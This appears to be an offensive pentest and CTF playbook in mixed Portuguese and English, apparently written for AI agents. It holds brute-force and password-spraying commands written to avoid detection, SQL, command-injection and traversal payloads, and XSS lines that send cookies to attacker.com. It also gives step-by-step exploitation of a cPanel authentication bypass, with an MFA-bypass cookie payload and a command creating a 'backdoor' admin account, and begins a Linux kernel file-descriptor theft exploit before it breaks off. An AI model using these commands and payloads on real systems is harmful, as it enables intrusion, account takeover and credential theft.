Local: `seclists-categories passwords/passwords/references/`

Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list
```

### Brute Force Attacks (PTES 4.2.5 - Brute-Force)
```bash
# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
      -P seclists-category/passwords/500-worst-passwords.txt \
      ssh://target.com

# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
      target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt

# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt
```

### Password Spraying
```bash
# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
    curl -s -X POST https://target.com/login \
         -d "username=admin&password=$password" \
         -o /dev/null -w "%{http_code}\n"
    sleep 5  # Avoid detection
done
```

### Default Credentials (cirt-default-usernames.txt)
```
Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql
```

---

## CTF Exploitation Techniques (ctf-assistant agent)

### Web Exploitation
```python
# SQL Injection in CTFs
payloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "admin' --",
    "' UNION SELECT NULL--",
    "' UNION SELECT username,password FROM users--",
    "' UNION SELECT LOAD_FILE('/flag')--"  # MySQL file read
]

# Command Injection
injection_payloads = [
    "; cat /flag",
    "| cat /flag",
    "&& cat /flag",
    "$(cat /flag)",
    "`cat /flag`"
]

# Directory Traversal
traversal_payloads = [
    "../../../flag",
    "....//....//....//flag",
    "..%2F..%2F..%2Fflag",
    "/etc/passwd",
    "/proc/self/environ"
]
```

### XSS in CTFs
```javascript
// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>

// Bypass filters
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

// Exfiltrate data
<script>
    fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>
```

### Password Cracking em CTFs
```bash
# Identificar hash type
hashid hash.txt
hash-identifier

# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt

# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
      target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
```

### Binary Exploitation (pwntools)
```python
from pwn import *

# Template para CTF binary exploitation
r = remote('target.com', 1337)

# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6)  # Return address

r.sendline(payload)
r.interactive()

# ROP chain
rop = ROP('./binary')
rop.call(rop.ret)  # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])
```

### Forensics em CTFs
```bash
# File carving
binwalk -e firmware.bin
foremost -i image.dd

# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist

# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag

# Steganography
steghide extract -sf image.jpg
zsteg image.png
```

### Crypto CTF Techniques
```python
# Caesar cipher
def caesar_decrypt(ciphertext, shift):
    return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)

# XOR brute force
def xor_brute(ciphertext):
    for key in range(256):
        plaintext = ''.join(chr(b ^ key) for b in ciphertext)
        if plaintext.isprintable():
            print(f"Key {key}: {plaintext}")

# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)
```

---

## EXPLOIT-WEB-002: CVE-2026-41940 — cPanel & WHM Authentication Bypass

```
VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass
```

### Root Cause (Resumo Técnico)

A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:

1. **CRLF Injection** no fluxo de criação de sessão
2. **Falha na validação de cookies** que permite injeção de headers
3. **Tratamento inseguro de sessão** que aceita cookies forjados

**Mecanismo de ataque (4 stages):**
```
Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed
```

**Por que é CVSS 9.8:**
- Nenhuma autenticação requerida (pre-login bypass)
- Acesso root completo ao WHM
- MFA bypassado (tfa_verified=1 injetado)
- Complexidade baixa (ataque automatizado)
- Exploração confirmada em produção desde fevereiro/2026

### Pré-requisitos para Exploração

```
1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch
```

### Passo-a-Passo para Pentest

```bash
# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083

# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password detect

# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed

# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password exploit

# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
# [+] Root access: GRANTED
# [+] Exploitation complete — full admin access

# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password verify

# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password check-patch
```

### Pós-Exploração (Manual)

```bash
# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/version

# Listar contas
curl -k -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/listaccts

# Criar conta cPanel
curl -k -X POST \
     -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     -d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
     https://TARGET/json-api/createacct
```

### Payload Bypass

```python
PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1
```

### Template de Finding

```
FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%

TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED

DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.

EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]

IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)
```

### Mitigação (para reporte)

```bash
# Atualizar cPanel
/scripts/upcp --force

# Verificar versão
/usr/local/cpanel/version

# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"

# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP
```

### Referências

- First disclosed: Fevereiro 2026
- Exploitation in wild: Confirmado
- Patch status: Disponível (verificar changelog cPanel)
- PoC location: `/root/.pcode/pocs/cPanel/CVE-2026-41940/`

---

## EXPLOIT-LPE-002: CVE-2026-46333 "ssh-keysign-pwn" - Linux Kernel ptrace_may_access Bypass

```
VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
```

### Root Cause (Resumo Técnico)

A vulnerabilidade está na função `__ptrace_may_access()` do kernel Linux, que verifica se um processo pode acessar outro processo.

**Cadeia de exploração:**
1. `__ptrace_may_access()` ignora a verificação `dumpable` quando `task->mm == NULL`
2. `do_exit()` executa `exit_mm()` (define task->mm = NULL) ANTES de `exit_files()`
3. Durante essa janela de tempo, o processo ainda tem file descriptors abertos
4. `pidfd_getfd(2)` succeeds quando o uid do caller matches o uid do target
5. Resultado: roubo de file descriptors de processos root

**Por que é stealth:**
- Explora race condition natural do kernel
- Não requer modificações no sistema
- Janela de exploração é milissegundos
- File descriptors são clonados, não movidos

### Affected Kernels

```
floor:  torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)

AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable
```

### Pré-requisitos para Exploração

```
1. Acesso local como usuário não-p

…(truncated)